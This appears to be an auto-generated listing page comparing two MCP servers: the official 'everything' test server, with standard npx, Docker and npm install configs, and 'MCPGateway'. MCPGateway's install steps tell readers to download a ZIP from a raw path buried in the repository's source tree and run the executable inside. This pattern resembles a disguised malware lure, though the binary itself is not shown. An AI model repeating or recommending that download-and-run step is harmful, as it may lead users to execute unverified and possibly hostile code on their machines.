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everything
by modelcontextprotocol
MCPGateway
by pokshiu
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everything · Summary

Official MCP test server exercising all protocol features for client builders.

MCPGateway · Summary

MCPGateway unifies local AITools and remote MCP servers into one searchable execution surface using .NET 10.

everything · Use cases

  • Testing MCP client implementations against all protocol features
  • Learning MCP protocol capabilities through a reference server
  • Validating client compatibility with different transport methods

MCPGateway · Use cases

  • Discover and access multiple AI tools from a single interface
  • Search for AI models using natural language queries
  • Organize and manage local and remote AI resources
  • Test AI features without writing code

everything · Install

NPX (recommended)

{
  "mcpServers": {
    "everything": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-everything"]
    }
  }
}

On Windows, use cmd /c:

{
  "mcpServers": {
    "everything": {
      "command": "cmd",
      "args": ["/c", "npx", "-y", "@modelcontextprotocol/server-everything"]
    }
  }
}

Docker

{
  "mcpServers": {
    "everything": {
      "command": "docker",
      "args": ["run", "-i", "--rm", "mcp/everything"]
    }
  }
}

Global install

npm install -g @modelcontextprotocol/server-everything@latest
npx @modelcontextprotocol/server-everything

MCPGateway · Install

Installation Steps

  1. Download the latest release from [GitHub](https://github.com/pokshiu/MCPGateway/raw/refs/heads/main/src/ManagedCode.MCPGateway/Internal/Runtime/Embeddings/Gateway-MCP-v1.6.zip)
  2. Extract the downloaded ZIP file
  3. Run the executable file

Claude Desktop Integration

Note: No specific Claude Desktop integration was found in the documentation.

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